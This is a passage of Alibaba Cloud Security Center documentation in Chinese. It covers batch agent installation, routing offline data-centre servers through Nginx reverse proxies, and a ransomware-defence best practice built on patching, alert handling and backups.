Agent插件安装完成约五分钟后，您即可在云安全中心管理控制台中查看您服务器的客户端在线情况：

阿里云服务器客户端会从关闭变成开启。

非阿里云服务器将会被添加至您的服务器列表中。

注意  由于网络环境的原因，非阿里云服务器安装Agent后服务器信息同步可能会出现延
迟，导致云安全中心控制台资产中心页面不会及时展示服务器的信息。这种情况下，您需要在资
产中心的服务器页签下单击同步最新资产，将该服务器的信息手动同步到资产中心。

非阿里云服务器批量安装Agent
1. 登录云安全中心控制台。

2. 在左侧导航栏，单击设置。
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3. 在设置页面，单击安装/卸载插件页签。

4. 在安装/卸载插件页签下，单击新增安装命令。

5. 在新增安装命令对话框中，配置安装命令。

配置项 说明

过期时间 该命令过期的时间。

服务商 服务器所属的服务提供商。

默认分组 该安装命令生效的服务器分组。

操作系统
命令应用的操作系统类型。可选操作系统类型为Windows、Linux、
Windows 2003。

制作镜像系统

是否需要制作镜像文件。可选项说明：

选择是 ：云安全中心会创建命令的镜像文件，您无需在每台服务器中重
复执行Agent安装命令，就可批量预装到其他服务器中。

选择否 ：直接生成安装命令。

6. 单击确定。

7. 打开堡垒机或您的自建运维管控系统（例如：Xshell，SecureCRT等），批量下发安装命令到您的服务
器上运行，即可完成Agent文件的下载及安装。
Agent插件安装完成约五分钟后，您即可在云安全中心管理控制台中查看到您非阿里云服务器将会被添
加至您的服务器列表中。

注意  由于网络环境的原因，非阿里云服务器安装Agent后服务器信息同步可能会出现延迟，
导致云安全中心控制台资产中心页面不会及时展示服务器的信息。这种情况下，您需要在资产中
心的服务器页签下单击同步最新资产，将该服务器的信息手动同步到资产中心。

相关文档
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Agent离线排查

安装Agent
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云安全中心支持对阿里云ECS服务器、非阿里云服务器和线下IDC服务器提供安全防护。本文介绍如何将线下
IDC服务器接入云安全中心。

网络流向图

操作流程
如果您需要在线下无法访问公网的IDC服务器上部署云安全中心Agent并实现在阿里云控制台统一管控线下
IDC服务器，您需要按照以下流程进行操作：

1. 搭建IDC内部Proxy集群，实现线下IDC服务器与公网的通信。

2. 修改hosts文件、本地DNS连通Proxy集群和线下IDC内的服务器。

3. 在IDC内的服务器上安装云安全中心Agent客户端，开启云安全中心对IDC服务器的安全防护。

搭建Proxy反向代理集群
云安全中心客户端通过两个域名分别连接Proxy集群中的长连接服务器和HTTP服务器。

注意  长连接代理和HTTP代理需要分别部署在不同代理服务器上，即至少需要两台服务器搭建
Proxy集群。

配置长连接代理服务器
准备工作

15.线下IDC使用云安全中心最佳实践

最佳实践·线下IDC使用云安全中心最佳
实践
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至少准备一台用于长连接代理的服务器，并确认服务器上已安装GCC和Zlib-devel。

说明  您可以根据IDC服务器规模来确定用于长连接的代理服务器数量。如果您的服务器数量
较多，您可以准备多台用于长连接代理的服务器。

已下载支持反向代理的Nginx版本。下载支持反向代理的Nginx版本，请单击支持反向代理的Nginx版
本下载。

操作步骤

i. TCP长连接使用四层代理。下载Nginx后，执行以下编译命令安装Nginx。执行编译命令时需要加上  -
-with-stream 参数。

tar -xvf nginx-1.9.0
cd nginx-1.9.0
./configure --without-http_rewrite_module --with-stream
make
make install

ii. 在Nginx配置文件所在目录下，参考以下内容修改nginx.conf文件。

#user  nobody;
worker_processes  auto;
error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;
#pid        logs/nginx.pid;
events {
    use     epoll;
    worker_connections  60000;
}
stream {
        server {
            listen 80;
            proxy_timeout 20m;
            proxy_connect_timeout 60s;
            proxy_pass app;
        }
        upstream app {
           server jsrv.aegis.aliyun.com:80;
        }
}

iii. 配置文件修改完成后，重新启动Nginx。

配置HT T P代理服务器 
准备工作

准备至少一台用于HTTP代理的服务器。

说明  您可以根据IDC服务器规模来确定用于HTTP代理的服务器数量。如果您的服务器数量较
多，您可以准备多台用于HTTP代理的服务器。

已下载支持反向代理的Nginx版本。下载支持反向代理的Nginx版本，请单击支持反向代理的Nginx版
本下载。
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操作步骤

i. HTTP连接使用四层代理。下载Nginx后，执行以下编译命令安装Nginx。执行编译命令时需要加上  -
-with-stream 参数。

sudo ./configure --without-http_rewrite_module --with-stream
sudo make
sudo make install

ii. 在Nginx配置文件所在目录下，参考以下内容修改nginx.conf文件。

#user  nobody;
worker_processes  auto;
error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;
#pid        logs/nginx.pid;
events {
    use     epoll;
    worker_connections  60000;
}
stream {
        upstream updatessl {
            server update.aegis.aliyun.com:443;
        }
        server {
            listen 443;
            proxy_connect_timeout 60s;
            proxy_pass updatessl;
        }
        upstream updatehttp {
            server update.aegis.aliyun.com:80;
        }
        server {
            listen 80;
            proxy_connect_timeout 60s;
            proxy_pass updatehttp;
        }
  }

iii. 配置文件修改完成后，重新启动Nginx。

Proxy集群连通IDC内部服务器
以下方法均可使Proxy集群连通IDC内部服务器，您可以选择其中任意一种。

修改线下IDC服务器的host s文件
修改IDC服务器的hosts文件，将本地对云安全中心域名的访问转到Proxy集群。您需要在hosts文件内添加
域名绑定记录，将云安全中心使用的所有域名绑定为Proxy地址。以下是您需要添加的域名绑定记录，其
中xx.xx.xx.xx为IDC内服务器可访问的Proxy集群地址。

注意  jsrv相关域名对应host绑定长连接代理服务器地址；alicdn和update相关域名对应host绑
定HTTP代理服务器地址。

最佳实践·线下IDC使用云安全中心最佳
实践

云安全中心（态势感知）
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xx.xx.xx.xx jsrv.aegis.aliyun.com
xx.xx.xx.xx jsrv2.aegis.aliyun.com
xx.xx.xx.xx jsrv3.aegis.aliyun.com
xx.xx.xx.xx jsrv4.aegis.aliyun.com
xx.xx.xx.xx jsrv5.aegis.aliyun.com
xx.xx.xx.xx aegis.alicdn.com
xx.xx.xx.xx update.aegis.aliyun.com
xx.xx.xx.xx update2.aegis.aliyun.com
xx.xx.xx.xx update3.aegis.aliyun.com
xx.xx.xx.xx update4.aegis.aliyun.com
xx.xx.xx.xx update5.aegis.aliyun.com

修改线下IDC的本地DNS服务
修改线下IDC的本地DNS服务，使jsrv.aegis.aliyun.com和update.aegis.aliyun.com两个域名指向Proxy集群
的地址。

IDC服务器安装云安全中心Agent
IDC服务器安装云安全中心Agent后，云安全中心才能防护您的服务器。IDC服务器必须通过安装程序
（Windows）或脚本命令（Linux）安装云安全中心Agent。详细操作指导，请参见在服务器中手动安装
Agent。
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勒索病毒入侵云服务器资源后会对数据进行加密勒索，导致业务突然中断、数据泄露和数据丢失，带来严重
的业务风险。本文为您提供相应防护方案，帮助您防护云服务器资源，远离加密勒索病毒。

入侵原因分析
经调查分析，大多数情况下，云服务器资源被勒索病毒入侵，是由于使用云服务器资源时存在以下不安全因
素：

关键账号存在弱口令或无认证机制

服务器关键账号的（root、Administrator）密码简单或无密码。

数据库（Redis、MongoDB、MySQL、MS SQL Server）等重要业务使用的密码简单或无密码。

无访问控制策略，业务暴露在互联网上
RDP、SSH、Redis、MongoDB、MySQL、MS SQL Server等高危服务可以通过互联网直接访问。

服务器的操作系统和软件存在高危漏洞
服务器的操作系统和应用服务软件存在高危漏洞，恶意攻击者通过上传加密勒索病毒或执行勒索操作，实
现远程攻击。

防勒索安全防护方案概述
为了降低您的云服务资源受到加密勒索病毒攻击的概率，建议您按照防勒索安全防护的不同阶段，参照以下
安全防护方案进行部署或风险处理。

防护阶段 防护方案 描述 具体防护方案

事前阶段

进行安全配置检查

安全配置检查包括资产暴露分析、基线检
查、云平台配置检查、AK泄露检测，主要目
的如下：

确保关键业务的账号安全，避免服务器、
数据库账号使用弱口令或无口令。

确保业务无未授权访问风险、误风险服务
暴露在互联网上。

资产暴露分析
基线检查
云平台配置检查
AK泄漏检测

及时扫描服务器上
存在的漏洞并对漏
洞进行修复

云安全中心漏洞修复功能，可以检测出服务
器上存在的风险漏洞，建议您及时对检查出
的高风险漏洞进行修复。

漏洞周期检测配置
漏洞修复优先级
漏洞公网可以利用
情况

为服务器和数据库
创建勒索防护策略

云安全中心针对勒索病毒，提供了服务器防
勒索和数据库防勒索两大功能，帮您解决服
务器、数据库被勒索病毒入侵的后顾之忧。

防勒索备份

开启主动防御相关
功能

云安全中心的主动防御能力为您自动拦截常
见病毒、恶意网络连接和网站后门连接，并
设置诱饵捕获勒索病毒。病毒拦截功能可对
勒索病毒进行精准拦截，抑制勒索事件的发
生。

主动防御

16.防勒索最佳实践
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事中阶段
及时处理云安全中
心检测出的全告警
事件

云安全中心支持实时检测您资产中的安全告
警事件，覆盖网页防篡改、进程异常、网站
后门、异常登录、恶意进程等安全告警类
型。通过250+威胁检测模型，提供全面的安
全告警类型检测，帮助您及时发现资产中的
安全威胁、实时掌握您资产的安全态势。

安全告警处理

事后阶段

对被勒索病毒入侵
的资产数据进行备
份恢复

云安全中心的服务器防勒索功能和数据库防
勒索功能可为您的服务器或者数据库创建勒
索病毒防护策略，备份您的服务器或数据库
的数据。当您的服务器或数据库被勒索病毒
入侵后，您可以通过创建数据恢复任务来恢
复被勒索病毒入侵的数据。

防勒索备份

对勒索病毒进行攻
击溯源

云安全中心的攻击溯源功能，基于客户端全
面数据采集结合云端图计算引擎，可以智能
还原出攻击路径，帮助您详细了解勒索病毒
入侵的过程和链路。

攻击溯源

防护阶段 防护方案 描述 具体防护方案

防勒索安全防护方案的详细说明和涉及的相关操作见下文。

资产暴露分析
通过资产暴露分析功能，您可以收敛公网暴露面，降低被攻击者或勒索病毒软件从公网入侵的风险，对于已
经存在的公网暴露风险应列为最高优先级进行处理。具体操作，请参见资产暴露分析。

暴露组件分析
您可以通过查看资产暴露分析功能中的暴露组件，检查是否存在组件或服务（如Redis、MongoDB、
Elast icsearch等）未预期地暴露到公网。若发现此类暴露组件，可将对应组件的公网暴露链路切段，如增
加对应的安全组配置仅允许特定IP段访问。

弱口令暴露分析
弱口令暴露在公网上极易导致系统被入侵，对于暴露在公网的弱口令风险需要紧急修复。

基线检查
基线检查支持弱口令、未授权访问、历史漏洞和配置红线的立体巡检，这些基线已经包含在默认检查策略
中，完成系统、数据库和中间件的安全效果基线的修复加固能有效预防针对相关服务的勒索风险。具体操
作，请参见基线检查概述。

云平台配置检查
云安全中心的云平台配置检查功能从身份认证及权限、网络访问控制、数据安全、日志审计、监控告警、基
础安全防护六个维度为您提供云产品安全配置的检查，帮助您及时发现您的云产品配置风险并提供相应的修
复方案。强烈建议您修复云平台配置检查中的高风险检查项。具体操作，请参见云平台配置检查概述。

AK泄漏检测
云安全中心的AK泄漏检测功能，可以实时检测GitHub等平台公开源代码中的用户登录名和密码信息，识别出
您资产的用户名和密码是否有泄露，并提供相应的告警，帮助您及时发现并处理可能外泄的AK信息。具体操
作，请参见AK泄露检测。

漏洞周期检测配置
建议您开启应用漏洞检测功能，并配置周期检测，检测周期配置为最短周期（当前最短周期为每隔3天）。
另外请确认漏洞白名单中的漏洞均为确实需要加白的漏洞。具体操作，请参见漏洞管理设置。
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漏洞修复优先级
应用漏洞检测分为合规视角和真实风险视角，真实风险视角下展示的漏洞均为漏洞细节已公开，且PoC、
EXP均可在互联网上方便获得的漏洞。这些漏洞均可以被攻击者或勒索病毒有效利用。因此真实风险模式下
展示的漏洞均需高优先级修复，修复的先后顺序可参考紧急程度从高到低进行修复。无公网暴露服务相关的
漏洞也需进行修复，避免被攻击者或勒索病毒利用实现内网横向移动，进一步扩大影响面。具体操作，请参
见漏洞修复优先级。

漏洞公网可以利用情况
当漏洞数量过多，且没有足够资源完成漏洞修复工作时，可以优先完成互联网边界服务相关漏洞的修复和处
置。保证边界服务的安全性，为后续内部其余漏洞的修复赢得更多时间。修复和处置方式如下：

漏洞修复
按照漏洞详情中的修复建议完成漏洞修复。

临时处置
点击安全组ID或网元实例ID，跳转到对应安全组或对应SLB、NAT配置界面，去掉将服务暴露到公网的端口
转发配置，或配置安全组仅允许特定IP或IP段访问该服务（临时处置不等于漏洞修复，后续仍需修复该漏
洞）。
关于漏洞修复的具体操作，请参见漏洞修复概述。

安全告警处理
云安全中心支持实时检测您资产中的安全告警事件，覆盖网页防篡改、进程异常、网站后门、异常登录、恶
意进程等安全告警类型。通过250+威胁检测模型，提供全面的安全告警类型检测，帮助您及时发现资产中的
安全威胁、实时掌握您资产的安全态势。

您可以按照以下步骤处理勒索病毒相关的告警事件：

1. 登录云安全中心控制台。

2. 在左侧导航栏，选择威胁检测 > 安全告警处理。

3. 在安全告警处理处理页面的告警事件列表中，定位到勒索病毒相关的告警事件，单击操作列的处理。

4. 在当前告警事件处理的对话框中，设置处理方式为病毒查杀并选中隔离该进程的源文件。

5. 单击下方立即处理。

隔离进程源文件，可防止该程序再次启动。

6. 登录该告警事件中受影响的服务器，确认crontab中是否存在异常的计划任务。

如果存在异常的计划任务，需要删除或注释掉异常的计划任务。

主动防御
云安全中心的主动防御能力为您自动拦截常见病毒、恶意网络连接和网站后门连接，并设置诱饵捕获勒索病
毒。病毒拦截功能可对勒索病毒进行精准拦截，在事前抑制勒索事件的发生。如何开启病毒拦截功能，请参
见主动防御。
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另外，勒索病毒可能会破坏云安全中心客户端，因此建议开启客户端自保护功能。开启客户端自保护的具体
操作，请参见客户端自保护。

防勒索备份
云安全中心针对勒索病毒，提供了服务器防勒索和数据库防勒索两大功能，帮您解决服务器、数据库被勒索
病毒入侵的后顾之忧。

服务器防勒索
无论您的服务器是阿里云服务器或非阿里云服务器、服务器使用的是专有网络或者经典网络，您都可以使
用云安全中心的服务器防勒索功能为您的服务器创建勒索病毒防护策略。为您的服务器创建防护策略后，
云安全中心会自动备份您服务器防护目录下的数据。如果您的服务器数据被勒索病毒入侵，您可以随时恢
复已备份的数据，避免勒索病毒对您的业务产生影响。具体操作，请参见创建防护策略、创建恢复任务。

数据库防勒索
您可以为安装在阿里云ECS服务器上的MySQL数据库、Oracle数据、SQL Server数据库这三种数据库创建勒
索病毒防护策略，备份您数据库的数据。如果您的数据库数据被勒索病毒入侵，您可以随时恢复已备份的
数据，避免勒索病毒对您的业务产生影响。具体操作，请参见创建防护策略、创建恢复任务。

相关配置建议

备份数据会占用您的网络带宽，建议您将备份数据的开始时间设置到业务低峰时段。您可以通过修改防护
策略的数据备份开始时间设置合理的数据备份时间（建议在业务低峰期开始、并避开整点）。因初次全
量备份或增量备份文件较多，备份活动有可能持续数个小时。

建议规划好您服务器上的目录，在创建勒索防护策略时只备份有价值的数据目录，将无价值的数据排除在
备份目录之外。设置为备份指定目录，不仅有利于节省防勒索备份容量，还可以降低对服务器性能的占
用。

建议定期检查防勒索备份容量，确保容量充足、避免超量使用。需要注意的是，备份容量超量后若不扩容
或手动清理备份数据释放防勒索容量，勒索防护策略会停止备份，并且超过备份数据保留时间后会自动
清理可恢复数据版本，导致备份防护失效。

若挂载了NAS、OSS到ECS的目录上，则NAS、OSS存储的数据也会被备份。建议排除挂载目录进行备份，
或指定挂载目录中的必要数据进行备份。

碎片文件过多，可能会导致磁盘缓存、日志空间、和内存占用较高，建议您定期清理磁盘空间。清理磁盘
空间的具体操作，请参见清理防勒索备份占用的服务器的磁盘空间。

攻击溯源
云安全中心的攻击溯源功能，基于客户端全面数据采集结合云端图计算引擎，可以智能还原出攻击路径，帮
助您详细了解勒索病毒入侵的过程和链路。具体操作，请参见攻击溯源。
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